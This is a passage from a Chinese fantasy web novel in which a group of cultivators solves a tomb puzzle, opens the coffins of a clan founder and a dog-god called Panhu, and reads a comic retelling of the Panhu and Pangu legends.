她们毫不犹豫地拐进了岔路之中,没走几步就见前方有一扇紧闭的石门挡在眼前,门上不见锁,只有一块像七巧板一般的东西刻印在门上,整体的凹槽是一个圆,里头框着几块可以滑动的石块,石块上有一些奇怪的图案。 曾换月咬牙切齿:“又搞什么名堂?七巧板?” 顾梦真上手就要试:“嘿嘿,我小时候爱玩这个,看这意思是要把石块上的图案连接起来吧?嘶,我琢磨琢磨……” 他本想先试试,于是随手拼了一块,谁知刚把石块放下的那一瞬就有一声“咻”从头顶传来;顾梦真抬眼一看,眼睁睁地瞧见就在他眼睫毛上的箭矢被师妹的剑打飞。 顾梦真:Oo? “……老天奶!”他吓得捂住小心脏,“太阴了,这也太阴了!” 曾换月抱着胸在后边说风凉话:“拜托,这种机关错误就有暗器的设定不是很常见的套路吗,你也太神经大条了吧。” 顾梦真瞪她:“你知道不早提醒我?” 曾换月无辜脸:“有师姐和大师兄在你怕什么?” ……那也是哦。 明易把二师弟拉回来道:“先想好再上手,争取一次到位。” 二师弟:“好吧。” 石映心贴心地说:“实在不行就把门劈开好了。” 二师兄:“……别别,我还能行。” 如他所说,他确实对这七巧板还算拿手,没让大家等多久就拼好了形状,有头有尾的,是一个…… “葫芦?”曾换月眯起眼睛打量,“这是葫芦吗?” 屠芜隔空用手描绘,昏暗的空中划过灵光的线:“拼凑的石块是葫芦的模样,但石块里连起来的图样好像是……狗?” “葫芦上面有字,”石映心用手指了指,“这两个字是什么意思?” “盘瓠。”明易道。 曾换月:“盘瓠是谁?” 屠莱若有所思道:“似乎在哪听过。” 屠芜也是一副想不起来的模样:“我好像也在哪听过?” 二人对视一眼,茫然得难受。 “是这只狗的名字吗?” 石映心指着石块中央的那只画起来也显得凶猛的狗问;她的手指不小心触及石块的一瞬间,石门发出“轰”的声响,葫芦石块仿佛被开瓢了一般,从中裂开两半,石门挪动的声音轰隆隆的响彻窄小的空间。 始作俑者也没想到这么轻易地就开了门,她们还在探讨的图案就这么没了,只好收回手镇定自若道:“嗯,那就进去吧。” 五人:…… 第200章 谁想到里头竟然是个墓室,随着石门被打开,边上蓦地窜起两排火苗,有些没亮起来,看来灯的质量不太行。 一进去就能看见一个占据了大半屋子的圆形黑池,黑池中央有一个圆形的石台,石台上摆在两副并排的棺材,边上没有通向石台的路,这摆放设计大概是不让其他人再靠近棺材的意思。 不过对会飞的仙人来说哪里都是路。 几人飞到黑池中的石台上,除了屠家兄妹选择先观察黑池,归壹派四人都在琢磨着要开棺材。 顾梦真首先表示了担忧:“等下不会又要诈尸吧?那我先躲远点。”说着退了几步,对方才自己被炸到水里的事还心有余悸。 明易最先上手推棺材,谁想到推不动,他打量了这两副精雕细琢、瞧着就很贵的棺材思酌道:“也许打开棺材也需要破解和石门上类似的机关。” 曾换月撇嘴:“好麻烦啊!” 石映心最讨厌这种流程:“直接开了试试。” “不行不行,”顾梦真闻言又跳回来,“映心啊,既然她们有本事做机关,怎么没本事搞一个乱来会爆炸的设置呢?啊呀你们让让,还是让我琢磨琢磨吧。” 说着就弯下腰来绕着棺材到处摸。 不知道二师兄要琢磨多久,石映心没心思等,于是又跑去屠家兄妹边上问:“你们在看什么?” 屠芜回头看她,面色有些沉重:“这池水是炼制蛊虫的药水,下边一定有什么,只可惜太深太黑了,也不能下去看……” 石映心:“你的小黑蛇呢?” 屠芜微微摇头:“怕是没这池水毒……” 想到这,她朗声朝明易那边道:“池水有毒,你们千万别碰!” 那三人说好。 叮嘱完她回过头来,忽然感到身上有些动静,手腕一转变出小桃蛇来,还不等屠芜问什么,小桃蛇一跳就跃入了黑池之中。 “喂,你……”屠芜也是无语,“算了,她应该本就是这黑池中长出来的蛊蛇。” 是吗?石映心便道:“那这黑池也不太厉害。” “是你太厉害了。”屠芜失笑道,“方才和她打架时一点虫蛇都没沾到,要不然早就中毒了,我手上就拿着解毒丹等着呢。” 石映心:“我很注意的。” 顿了顿又问:“所以小桃带我们来这里要做什么?” “谁知道。”屠莱耸了下肩,“你不是说了,那条蛊蛇里本就不止是小桃一人的残念,偶尔做出相悖的行为也很正常。” 石映心盯着深不见底的黑池瞅了会,忽然道:“我有办法知道池水下有什么。” 屠家兄妹纷纷看来:“什么办法?” 石映心变出一个平平无奇的石头说:“这是我二师兄的宝器,能将我的灵识暂时与它连结,跟随它去池底一看究竟。” “这么厉害?”屠莱伸手,“那我来吧,也许里头有我认识的虫蛇。” 石映心摇摇头:“这石头已经和我连结上了,旁人来是没用的。” 屠芜惊叹道:“没想到这看起来普通的石头这么厉害。” 石映心:“嗯。” 说着她就将那块不知道哪里找出来的石头往黑池中一扔,随着一声“咕咚”,本应该掉入水中的石头竟然浮在了池面上,在三人的眼皮子底下被黑池腐朽侵蚀溶化了。 三人:OO 屠莱眉头轻挑,对某人投去怀疑的眼光:“你这石头不是很厉害吗?” 屠芜猜想:“也许是这黑池确实太毒了。” “没事。”石映心非常沉着冷静,重新从储物空间里找了一块石头出来,“我还有一个,这次用法术包裹一试。” 屠家兄妹对视一眼,倒也没说什么,就见她把法术附着在那块依旧非常普通的石头上,而且裹了好几层,让本来只有一小块的石头变得有她两个拳头那么大…… 太有安全感了,石道友。 她这块超大灵光石头在昏暗的墓室中发着光,吸引来了明易和曾换月的注意力,二人还没多问呢,就见她把这玩意往黑池里一抛—— 这会是安全地沉下去了,甚至黑池也遮掩不住它的光芒,亮堂了好一会,黑乎乎的池水才恢复了死寂。 石映心等了两瞬,对着黑池眨了下眼睛。 她看见了密密麻麻的尸骨,有人有虫有蛇;但和她想象中的一片了无生息的死寂不同,这些虫蛇不断地从尸骨上再生,生了没活多久就被别的虫蛇咬死,死去的尸骨上又蠕动再生。 死的很快,生的也很快,竟然就在池底达成了一种诡异的平衡;只是生无法胜过死重见天日,死也无法压垮生完成灭亡……咦? 只有它可以。那条蛊蛇。 石映心见那蛊蛇在池底游了一圈,似乎是在找东西吃;它吃得很快很凶猛,一大口咬下去,原本细细的蛇身子便明显地突起来一块,在身子里一大块的还没消化好呢,它还搁那不停地吃。 时间到。 石映心收回视线,边上的屠芜好奇地问她看到了什么。 她想了想:“贪吃蛇吃小虫。” 五人:? 后来还是尽量详细地解释了一番,又道:“石头还是被池水侵蚀了,只能看到这么多。” 曾换月奇怪道:“什么石头?” 石映心顿了顿:“说来话长。” 小师妹自然不会怀疑师姐,就是知道她在说谎,那也是共犯的角色。 屠家兄妹闻言,皆是惊奇的神色。屠芜感叹道:“这么说来,这黑池药水就这么自给自足地活了几百年……实在是难得。更难得的是那条蛊蛇,竟然逃脱了池底的生死循环。” 屠莱摸摸下巴:“小芜,我们想办法带点池水回去。” 屠芜显然也有这主意:“嗯!” 咦惹……曾换月掩饰去恶寒的表情,躲在师姐身后抖鸡皮疙瘩。她光是听师姐的描述就觉得这黑池恶心得不行了,这两个药神谷的人居然还要带回去研究,呕……不愧是专业人士啊,值得敬佩。 这边的屠家兄妹商量着要怎么收集池水,另一边传来喜讯:“开了开了,棺材开了!” 大伙转头望去,正巧听见“嘎登”一声,顾梦真边上那副棺材的棺材板划开了一道口子;他也不急着打开,抬着下巴开始嘚瑟自己多聪明:“嘿嘿,我在棺材上摸到了几个突起,机智地想到了这是我以前看过的一种隐秘机关,还蛮古老的,不过难不倒我啦,只要这样这样那样那样……” 大伙反正也听不懂,就当个背景音放着,紧张又期待地看着明易把棺材板推开,再往里头一看,这是—— 一个遗容安详的老人家。 曾换月迷惑脸:“这老头是谁?” 石映心指了指棺材某一处:“有小字。” 字很小,明易微微眯起眼睛:“盘螺六十年,族长盘叁之墓。” “盘螺六十年?”屠家兄妹异口同声,满眼荒唐。 屠莱嗤笑一声道:“搞什么,真挖了老祖宗的墓了?不过这老头是谁,没听过。 ” 他是看向屠芜问的,后者也摇摇头道:“我也没听过。” “你俩究竟知道啥啊,感觉对你们螺族的历史不是很了解啊。”顾梦真忍不住吐槽。 “没办法,我们从小就离开了家去药神谷学习,”屠芜一脸无奈,“而且娘她很不喜欢和我们讲那些村里的习俗啊故事的,觉得那些会教坏小孩子,也不许姨妈和我们说。” 曾换月颔首:“不过这点我是赞同的。” 屠芜道:“但唯一可以确定的是这两个棺材里的人对螺族都有重要的意义,不然不可能会葬在这里,此处可是罗宝山石窟,大部分族长都是葬在族内专门的墓地。” “不如说,”屠莱补充道,“压根没人知道这里还有个墓室。” 石映心问:“盘螺六十年是什么时候?” 屠家兄妹:“不知道啊。” 石映心:…… “我记得金姨说过,几百年前你们螺族繁荣昌盛时人丁兴旺、族力强盛,甚至到了可以占地为王的地步。”明易合理推测,“照理来说,大部分地方纪年都是按照当时皇帝即位的年次,可这位族长用的却是你们螺族创立的‘盘螺’,也许他正是金姨口中繁盛时期的族长,才有这么胆大的资格。” 见几人听了连连点头,他看向棺材中的模样清晰的死者补充道:“最重要的是他的尸骨未腐。” 曾换月的瞳孔猛地放大:“是不死之虫!” 屠芜也恍然:“难道他就是娘口中的那位毕生追求不死之药的族长?” “仅是我的猜测罢了。”明易说罢,又看向边上兀自在捣鼓另一副棺材的顾梦真,“不知那副棺材里躺的是谁。” 虽然他说是猜测,但线索的指向性非常明显,大伙都默认了这种可能。于是探究的目光集中在顾梦真……手中的那副棺材上。 短暂又显得漫长的安静中,只听一声如天籁般的“嘎登”,第二副棺材被打开了。 她们迫不及待地往缓缓打开的棺材里挤入视线,渴望看到一具清晰完整的尸体,可取代期待的并不是失望,而是疑惑—— “这是……”曾换月冒了个问号,“狗的骨头?” 不是狗吃的骨头啦,是狗的尸骨。 “是狗吧……”屠芜比划了一下,“是狗的形状没错。” 石映心在边上冒泡:“先前小桃也提到过狗神。” “狗神……”明易若有所思地看向屠家兄妹,“你们螺族人都很喜欢狗,难道究其原因,和这具狗尸有关?” 屠家兄妹依旧还是:“不知道啊。” 到底知道啥呢!【】 200-210 第201章 曾换月又说:“还有刚才那面石壁上冒出的金光,也是狗啊!怎么处处都有狗的影子,这狗到底是啥?” “这边也有小字。”石映心拉了拉大师兄,指给他看。 她大师兄定睛一看:“盘螺二十年,族长盘瓠之墓。” 曾换月:“盘瓠?” 石映心:“石门上的葫芦里的那只狗。” 曾换月:“原来真是狗的名字啊,不过听着好耳熟好奇怪啊……” “不是,”顾梦真挠挠头,看看他两个师妹,又看看屠家兄妹,“难道重点不是……螺族的族长居然是条狗吗?” 众人醍醐灌顶,大吃一惊。 “开什么玩笑,”屠莱的嗤笑有些僵硬,“你们觉得这合理吗?我看是有人偷梁换柱了。” 明易实话实说:“这具狗尸不像是有被移动过的痕迹。” 顾梦真也实话实说:“这口棺材不像是有被人打开过的痕迹。” 石映心恍然大悟:“原来你们螺族的祖先是狗。” 曾换月豁然开朗:“怪不得你们螺族人家家户户都把狗放在家里当祖宗伺候,原来真是祖宗啊!” 哇,这,这谁忍得了。 反正屠芜和屠莱忍不了。 只是这二人是忍不了也要讲道理的类型,比如屠芜就道:“狗是狗,人是人,狗怎么会生下人的后代?” 屠莱冷嗤一声:“无稽之谈!” 石映心提醒道:“所以小桃说是狗神啊,狗神怎么说也是神,也许有别的手段?” 哇,这,太有道理了。 屠家兄妹无法反驳,因此整个人暗淡下来,蔫巴巴地瞧着很不情愿。屠芜很是委屈:“这怎么看都只是普通的狗尸,怎么可能是神呢?” 曾换月:“方才那只和我师姐对打的金光狗呢,普通的狗哪有这样封印法力的本事?” 屠莱:“金光也不一定是神力。” 顾梦真:“对哦,也可能是妖怪!” ……这身份是越说越埋汰了,还是闭嘴吧。 在几人很有道理地胡说八道的时候,明易仔细地打量了狗尸。她们先前只关注利用不死之虫保存遗体的盘叁,其实这盘瓠的尸体也有些名堂;按理来说大部分骨头在保存得当的情况下,能保持长时间的完整也不是不可能…… 但这石洞之中有溪流,棺材的边上就是黑池,墓室中的蜡烛也废了许多盏……种种因素证明这墓室并非完全封闭干燥的环境;可几百年过去了,眼前这具狗尸的骨头非常的坚硬和新鲜,这足以说骨头的主人并非一只普通的“狗”。 思及此,他余光隐约瞥到什么,慢慢地将棺材板完全推开然后翻过来放在地上,总算得见玄机:“几位请 看。” 大伙们便凑过来看。就见这棺材板的背面竟细密地刻了许多图画和字样,从上至下,有始有终,仿佛是记录了死者一生的重要事迹;画画水平不详,甚至有些滑稽,但清晰明了。 “哇塞……”顾梦真惊叹道,“这棺材还真是暗藏玄机,居然还有这玩意啊!” “这倒也正常。”屠莱一边盯着棺材板上的图样,一边分神道,“世间有所作为者谁不想要青史留名?若是觉得自己大有成就,定要想方设法将这份荣誉带入棺材,生死相依。” 石映心觉得他说得有理,颔首道:“确实如此,那就看看这只狗生前是如何的大有作为、竟能以它的狗头出人头地。” 她们仔细地将这段刻在棺材板上的狗生过目,讲的大概是这样一个故事: 传说很久很久以前,在帝喾执政期间,有位在宫中侍奉的老婆婆得了一种古怪的耳疾,四处寻医而不愈,十分苦恼。 一日,有一位自称是蛊师的人来宫中面圣,听闻此事后主动请缨,愿为这位老婆婆治病,帝喾应允。这位蛊师果真有些本事,诊断出老婆婆体内藏了蛊虫,为她开了一副药后,便从老婆婆的耳朵中挑出一个金蚕来。 众人十分惊奇,又听蛊师说,此蛊蚕修炼成精不容易,可饶它一命,于是人们便将蛊蚕放在一个葫芦里、盖上盘子饲养。谁知不过多久,这蛊蚕竟变成了一只斑斓大狗。 这狗聪明伶俐,很懂人性,因此帝喾很喜欢它,赐名“盘瓠”,盘便是盘子,瓠即是葫芦,意思就是一只在盖着盘子的葫芦里长大的狗。盘瓠常常陪伴公主玩耍,一人一狗关系很好。 后来帝喾与异族部落大战,几次御驾亲征无果,便允诺手下大将士兵,若是谁能在战役中砍下异族部落首领的脑袋,便可实现他一个请求。 谁知这通人性的盘瓠竟用自己是狗不是人的优势趁夜混入了敌方军营,趁其首领不备一口咬下了他的脑袋,就这么叼回来献给了帝喾。帝喾大喜过望,赏赐它许多美味肉食,但这狗却不吃不喝。 帝喾虽疑惑但也无法,谁知道这狗想要什么呢?它又不会说人话,那要不就算…… 突然这狗就会说人话了,还大逆不道地说自己的请求是要娶陪它玩的公主。 帝喾:“帮你找几个狗媳妇倒是可以。” 盘瓠:“我只要公主!” 帝喾当然拒绝,你一条狗还想娶我的宝贝公主?想得真美;不过这会说人话的狗真有些古怪,要求还这么大逆不道,还是拖出去zh…… 盘瓠忙道别啊别啊,只要我服下了神仙的灵药便能变成人了! 这时候公主站出来了,说:“你就算变成了人也是披着人皮的狗,我把你当宠物,你居然想当我的夫君,真是异想天开!何况我们去哪里找神仙的灵药?” 盘瓠:“陛下已经允诺会实现我的请求!” 帝喾:“把你杀了就完事了。” 盘瓠吓得屁滚尿流,赶忙逃离了皇宫,跑去了螺族。它找到先前把它从老婆婆耳朵里挑出来又救了它一命的蛊师,如此如此这般这般地说明了来意。 蛊师神秘一笑:“一国之主怎能说话不算话?你放心,我有办法。” 盘瓠忙问:“是什么办法?” 蛊师说:“我这有一种稀世蛊虫,叫做无情蛊,此无情非无情无欲,而是毫无缘由、不通情理之无情,又说不匹配的双方却能因此结合……将此蛊虫作用于你与公主身上,便能让她不受控制地爱上你、不惜一切代价也要和你在一起。” “哪怕……”蛊师摸摸狗头,笑眯眯道,“你只是条丑狗。” 丑狗:“这正是我要的宝贝!” 蛊师:“那么你要用什么来和我交换呢?” 丑狗:? 蛊师并未为难它:“何必露出如此困扰的丑态,届时你娶了公主,就是万人之上二人之下的驸马,想要什么宝贝没有?” 盘瓠:“言之有理!” “到时候你可不能忘了和我的约定,毕竟我能下蛊,也能解蛊。要是让陛下和公主知道了此事……”蛊师爱抚地摸了摸盘瓠的脑袋,“小心你的狗头。” “……嗷呜。” 于是盘瓠带着蛊师的无情蛊回到了宫中,千方百计地让公主中了蛊毒。果然如蛊师所说,公主简直是无可自拔地爱上了他。 帝喾十分迷惑:“你怎么会爱上一条狗?简直是莫名其妙!” 公主抱着盘瓠:“爱情本就是莫名其妙的,还请陛下成全!” 帝喾不愿接受:“它是狗啊,我的女儿怎么能嫁给一条狗?” 公主脑袋一转:“我不管。” 帝喾请了许多医师来给公主治病,主要是看脑子是否有恙,但医师们纷纷查不出究竟,又不敢说公主没病,就开些吃了没事的药糊弄,完全没进展;这一日帝喾想到了那个治好宫中老婆婆耳疾的蛊师,便请他前来为公主看病。 没想到这位蛊师却说:“公主非但没病,反而蕙质兰心、聪明过人。” 帝喾:“此瞎话怎讲?” 蛊师道:“陛下,这盘瓠原先是成精的蛊蚕,后被饲养在宫中,是汲取了陛下您的人帝之灵才有幸幻化成狗身,待它继续修炼,也许有一日能得到凡胎肉身。” 帝喾:“你什么意思,难道他变成不人不狗的妖怪还怪我?” 蛊师忙解释道:“……陛下误会了,小人的意思是说,别看盘瓠目前只是一条会说人话的狗,等它化作人形,日后一定大有作为,您看,它仅是只狗时就能拿下异族首领的人头;陛下何不放长眼光,将公主嫁给一位未来的英雄呢?” 边上的盘瓠听到这,立刻竖起狗耳朵,挺起狗胸膛,表现了自己的英姿。 帝喾:…… “等我脑子糊涂了你再来胡说八道吧!” 哪怕帝王再不情愿,她可怜的、已经脑子糊涂了的女儿依旧要死要活地要嫁给盘瓠,甚至荒唐到了一哭二闹三上吊的地步,弄得宫内宫外人尽皆知。 帝喾恨自己爱女心切,妥协是属实无奈。只好退而求其次,想着先找到让盘瓠变成人的办法,哪怕是披着人皮的狗,也比直接嫁给一条狗好。 可是盘瓠口中的神仙灵药到底要去哪里找呢? 盘瓠:“不知道啊陛下,我只是听说有这回事。” 帝喾:“你这条废物!” 这时候蛊师又冒出来:“虽说神仙法力高强,但她们要炼制灵药,也需要搜寻世间的珍贵草药;若是陛下能找来这些稀罕之物,小人或许能一试。” 帝喾:“你算个什么东西,你炼制的灵药能和神仙相提并论?” 蛊师:“……” 帝喾:“不过灵药还是要找的,要不然寻到了神仙,哪好意思叫她多费心找这些玩意?” 蛊师:“陛下英明。” 第202章 总而言之,是找全了灵药;总而言之,蛊师偷摸炼制了灵药;总而言之,盘瓠服下了灵药之后,果真变成了人身……啊,怎么还剩个狗头。 帝喾气死了:“好啊你,竟敢违抗我的命令,耗费我千辛万苦找来的灵药整出这个狗头人身的怪物来!来人啊,把这个蛊师给我拖下去斩了!” 盘瓠扑通跪下来:“陛下饶命啊,蛊师是我的救命恩人!要杀他先杀我!” 帝喾:“把这两个都给我拖下去斩了!” 公主扑通跪下来:“母亲饶命啊,盘瓠是我的夫君,我们已有了夫妻之实!要杀他先杀我!” 帝喾:……%¥#@* 命运将她步步紧逼,帝喾也快发疯了。如果她是个完全无情的帝王该多好,直接将这脑子有病的三人斩了了事,一干二净,心中清爽;可偏偏她有些善良心肠。与其杀了,不如就她们滚远点吧,眼不见起码能净个眼睛。 帝喾只好同意这场荒谬的婚事,并且对盘瓠提出的“要去螺族就封”非常同意,但她有个要求:“你这个狗头会吓坏我的百姓,拿个帷帽盖上吧。” 盘瓠:“好吧,不过只有我带帷帽不太好,显得我见不得人似的。” 帝喾:“你这只狗怪本就见不得人。” 盘瓠:“我请公主也戴上帷帽,掩饰我见不得人的事实。” 帝喾:“不行。” 公主:“我听夫君的。” 帝喾:“……随便你们,赶紧滚!” 于是盘瓠带着公主和恩公蛊师一起回到了螺族,有了公主丰厚的嫁妆、可靠的权力,原本贫困潦倒的螺族有了大量金银珍宝的支持,凭借蛊术日复一日地渐渐发展起来。 一开始,盘瓠还请蛊师帮他炼制灵药,让公主派手下替他四处搜寻神仙的灵药,渴望有朝一日变成真正的人头人身,可始终苦寻无果。于是他问蛊师是否有别的办法。 蛊师:“你所求的难道真的只是凡人的脑袋?我有一计可解你心中烦闷。” 盘瓠:“说来听听。” 蛊师:“将殿下你出自蛊蚕,成狗后英勇杀敌、为国除害的故事宣传开来,展现你身为狗时英勇过人的本领,何况现在你拥有了人身和公主的爱情,百姓们定会对你十分爱戴。” 盘瓠:“这样大家都知道我是怪物了。” 蛊师神秘一笑:“神仙与怪物的区别在何 处呢?” 盘瓠:“我怎么知道。” 蛊师白他一眼:“这不就得了?” 于是在蛊师的宣传下,狗神盘瓠诞生了。理所应当的,比起一个普通的、整日带着帷帽见不得人的驸马亲王,一个狗神做族长是最好不过的事。在狗神的庇护下,螺族日益繁盛,人们也因此更爱戴盘瓠,尊称他为盘王。 盘瓠也并非完全是只蠢狗,在螺族的几年让他意识到这种族蛊术力量之强大,从对他死心塌地的公主身上便能看出来。 公主对任何人颐气指使,唯独任由他颐气指使。二人生下了四个孩子,幸运的是都是人的模样,不幸的是都长了狗尾巴。蛊师说为了不让孩子被当做异类看待,剁下他们的尾巴收走了。 盘瓠知道这人定是要拿去炼制什么稀奇古怪的蛊虫或是丹药,但他并不在意。 他现在有了除了公主以外的女人,这些女人多是由族人们奉献而来,也许是因为没用无情蛊的缘故,盘瓠时常在她们脸上瞅见害怕;但奇怪的是,她们害怕地献媚着,似乎也忠心地爱他。 “因为你是狗神。”蛊师这么说,“你已经不需要无情蛊了,人们都爱戴你,嫁给你的女人都是心甘情愿。” 盘瓠渐渐地也明白了,他很快适应了做一个受人爱戴的盘王,偶尔发挥一下神力,让他的信徒们更加臣服。 这一日蛊师找到他:“这片地域还不够,我族需要更大的土地,更多的资源。” 盘瓠道:“你想要什么去寻便是了。对了,你边上那个瘦弱的女孩是谁?” 蛊师:“没有合适的开拓领域的理由。” 盘瓠说:“陛下怎会任由一个小族对其他部落发起战争?她不会同意的。” 蛊师:“这是你要解决的事,别忘了你拥有的今日的一切多亏了谁。” 盘瓠心想这些琢磨蛊虫的阴险小人真是有远大的抱负啊,他想了想道:“发动战争是不可能的,陛下不会同意;不过我倒是有一个好办法,正是你擅长的。” 蛊师没想到还能从一个狗脑袋里获得办法:“什么?” 盘瓠:“我听说北方那些人侍奉什么太阳神羲和、月亮神常曦,甚至有战神蚩尤……我怎么说也是一个狗神,怎能束缚在螺族这小族里?你让我的名声大噪,届时自有无数人来臣服于我,亦是臣服我螺族。” 蛊师瞥他一眼:“就你那点英雄事迹,怎能和日神月神战神相提并论?” “这是你要解决的事,”盘瓠坐在盘王位上,居高临下地看着他,“空口造神不正是你们人类的好本事?” 蛊师挑眉:“世上留给神做的丰功伟绩已经不多了。” “捡那些无用的事做什么?既然都是假的,小小的谎言和弥天大谎又有何区别?你尽管把最厉害的事放在我狗神盘瓠的名下!” 蛊师看着大言不惭的盘瓠,在它的狗脸上看到了熟悉的人类的表情。果然只要心中有贪欲,就会无限膨胀,人是这样,狗是这样,谁都是这样。 “既然如此。”蛊师扬起一个阴险的贴心笑容,“我必然会为殿下您塑造更好的神格。” “你有头绪?说来听听。” 蛊师道:“我们南蛮有一位创世女神,传说她开天辟地、造人补天,功勋卓著,受众人爱戴。不过此女神还未走出南蛮,不曾与日月战神作比较,我看……就声称她为您的妹妹。” 盘瓠一听,摆手拒绝:“先不说我是蛊蚕成精,压根没有妹妹,这传到陛下的耳朵里要她如何想?最重要的是……这开天辟地的创世盛誉怎能落在我妹妹头上?那她岂不是高我一头?” 这死狗想得还挺多:“请陛下明示。” 盘瓠笑道:“既然她未曾走出南蛮,那我将荷此重誉成为创世男神,就让我盘瓠的英雄史诗传扬世间吧!” 蛊师惊叹狗脸皮之厚,但这对他们螺族来说有利无害啊:“陛下英明!” 盘瓠又提醒道:“不过此事不可传到陛下耳中。” 蛊师:“怕是有些难。” 盘瓠:“你想办法。” 蛊师想办法:“不如将殿下的名字略作更改?在我们螺族方言中,‘古’字与瓠字读音相似,并且是对大家族中资历最深的老者的尊称,可做殿下的盛名。” 盘瓠:“盘古?” “不错,可意为盘老祖宗,也符合你开天辟地的身份。这样就算陛下问起来,也能强说是二人。” 盘瓠感到很满意:“不错,就这么定了!” 二人相视而笑。盘瓠又问:“对了,你边上那个瘦弱的女孩是谁?” 蛊师没回头地瞥了一眼身后,应答道:“此女是我的幼妹。” “她怎么一句话不说,方才进来也没对本王行礼。” “殿下不要责怪,幼妹自小性格古怪孤僻,不爱说话,不过在蛊术一事上颇有些天赋,可留在我身旁辅佐。” “行,那你们退下吧,本王要休息了。”盘瓠打了个哈欠,挥挥手示意他们退下,等二人走出几步,又恍然想起什么,出声道,“对了,还不知道那个创世女神是谁?” “殿下慎言,如今的创世神是您。”蛊师停住脚步,回过头来道,“至于那位女神的名讳……” 这时候蛊师的妹妹开口说话了: “她叫女娲。” 至此之后,“天地浑沌如鸡子,盘古生在其中”的伟大故事就此离开南蛮,随着螺族的蛊术发展、蛊虫买卖而传播开来。 天高皇帝远,坐拥一个逐渐强大的种族的盘瓠,在公主和族民的簇拥下,自立山头。这一年被载入螺族史册,称为盘螺元年。 盘螺二十年,天降神雷,劈死了盘王。 蛊师辅佐盘王长子继位族长,迎娶盘王大女儿。 此后十年间,盘王长子、次子相继死去。 盘螺三十年,蛊师更名改姓为盘叁,成为螺族族长;在他的领导下,螺族进入了蓬勃发展的鼎盛时期,不死之药从此闻名天下,成为人人趋之若鹜的宝贝。 盘螺六十年,盘叁不得灵药,抱憾而终。 完—— 看完了这棺材板上的故事,众人的表情都很复杂。一是字太小了,看得眼睛累;二是其中槽点太多,她们一时槽多无口。 石映心左看看右看看,见大家都神色凝重,而且很有困惑,于是她先举手发言:“我看这盘瓠的生前事迹应该不是他的族人写的。” 她大师兄很快表示同意:“我同意映心的看法。这故事太真实了,既然螺族想要造神,就不可能把这些肮脏事写出来。” 她小师妹也表示同意:“说是仇人写的我都信哈。” “这么看……”屠莱摸摸下巴道,“这故事刻在棺材板背面就别有深意了。” 屠芜明白她哥的意思:“你是想说,刻在背面是记录故事的人刻意为之?为了让故事留存、不叫族人发现?” 屠莱微微颔首:“嗯,若是丰功伟绩,何必藏在背面?方才我就觉得奇怪了,螺族哪里有在棺材板背面刻生前事迹的习俗?” “对了,我去看看盘叁的棺材板上有没有!”顾梦真一边说一边跑去掀盘叁的棺材板,可惜后头干干净净的,啥也没有,“怎么没有啊,可惜。” 第203章 曾换月猜测:“这盘瓠和盘叁完全是狼狈为奸嘛,为什么他的棺材上没有啊?难道写这些的人就是盘叁?毕竟能知道事情全貌的也就他和盘瓠了。” 顾梦真思酌:“这么说有可能啊。” 石映心却说:“不像,盘瓠的故事中也没把盘叁写得多好。” 顾梦真:“那倒也是哦。” 她们得知了一个刺激却目前好像没啥用的故事,一时有些头脑混乱,不知道接下来要干什么。在尚未完全接受良好的迷糊中,屠芜想起来另一件重要的事:“屠莱,别忘了我们还要取药水回去……” 屠莱还没说什么呢,石映心就插话道:“你们不取湖底的东西回去 吗?” “想啊,”屠莱看她,“你有办法?” 石映心想了一个机智的办法:“先用我师妹的冻结符将黑池冻结,然后我再将冰池劈开一块一块,你们便能取物了。” “哇塞,”她师妹捧场地鼓起掌来,“好主意啊师姐!” 屠家兄妹也被这听起来很简单的办法震慑,带着鼓了掌。屠芜将信将疑道:“那劳烦二位了?” 于是就按照石映心说的,先让曾换月对黑池使用冻结符;只是一张扔下去,还未冻多少就被池水给腐蚀了。 对着屠家兄妹略显失望的表情,曾换月信誓旦旦道:“看起来问题不大,只要符箓够多,它就赶不上冻结的速度!” 说罢,掏出两把厚实的冻结符来。 二人目瞪口呆,屠芜震惊道:“换月,你居然准备了这么多的……冻结符吗?难道这符箓很有用处?” 顾梦真在边上拆台:“不是啦,只是她个人的报废率比较高,符箓质量不稳定哈哈哈。” 曾换月恨不得把他嘴巴冻上:“闭嘴吧你!” 总而言之有这么多的冻结符同时发动,就是再毒辣的药水也没招的。甚至由于某位符修估不准量,又怕前功尽弃浪费,导致一次使用量过多,整个墓室都差点被冻住,还要她师姐和大师兄在边上用剑气把冷气截断,未免整个空间遭殃。 看着冻结成冰的乖乖黑池,曾换月抱着自己一边发抖一边嘚瑟:“嘿嘿,这下你这破池水没招了吧?” 顾梦真已经拿出了火桶取暖:“赶紧的吧冷死了!” 接下来就由两位操剑师傅帮忙把池水分割切块,二人剑法娴熟,仿若深谙切豆腐技巧。既然这样方便,还取什么标本啊,直接全部拿来吧你。 总之,屠家兄妹很快就得到了两堆她们想要的蛊虫冰块,将其全数收入囊中之后,这下原先内有乾坤的黑池就成空心汤圆了。 二人得到了好东西,美滋滋地同几人道谢。 “顺手而为罢了。”石映心谦虚道,“不过我们接下来怎么出去?” 二人:“不知道啊。” 顾梦真说:“既然这里多了一个神秘的密室,那石洞的出口一定和此处有关。我们如今已经把黑池掏空了也没什么动静,也就是说……” 众人的目光默契地投向那两具方才遭了殃变成冰块的尸体,但谁都没有动作。 曾换月怼怼屠芜:“你祖宗,你收着。” 屠芜怼怼她哥:“……你祖宗,你收着。” 屠莱两眼一翻,嫌弃的要死,但还是把手一伸,将两口棺材收入囊中。 棺材消失的瞬间,几人脚下原本稳固的平台“轰”地作响,很有要沉入黑池的动静;几人也不慌张,及时御物飞到了空中,眼睁睁地见那圆形石台沉入了黑池底部。 明易这时瞥见边上的火光微微晃动:“有风进来了。” 意思是出口出现了。 她们迫不及待地离开了墓室,返回走到了方才道路分叉的地方;一迈出转角,就见边上有微微亮的光线照来。她们喜不自禁地往光的方向爬跑去,迎着清新的山风总算离开了山洞,重见天日。 看着眼前熟悉的山景,曾换月有种感动的心情,仰天大喊道:“总算出来了,哈哈哈哈哈!” 瞧她这畅怀的模样,不知道的还以为在五指山下压了五百年呢。 石映心也是松了口气,感到一直沉闷的脑袋轻快了许多:“我们在里头呆了多久?” 明易道:“至少一个半时辰。” “老天奶,这大早上就这么过去了,敢情我们是才迈入石窟的门啊!”顾梦真惨笑一声,“我现在就感觉好心累哦。” “你们看。”屠芜这时示意几人回头。 大伙回头一看,就见后头除了幽深的山洞之外,山洞之上便是一个石窟,上头摆着一座端坐着的石雕,狼头人身,正是盘瓠。 屠莱挑眉:“原来从里边看,石窟的入口就是其中一座石窟,怪不得艰难重重,因为我们早已进入了石窟的陷阱。” 明易微微颔首道:“看来这便是第一关了。” 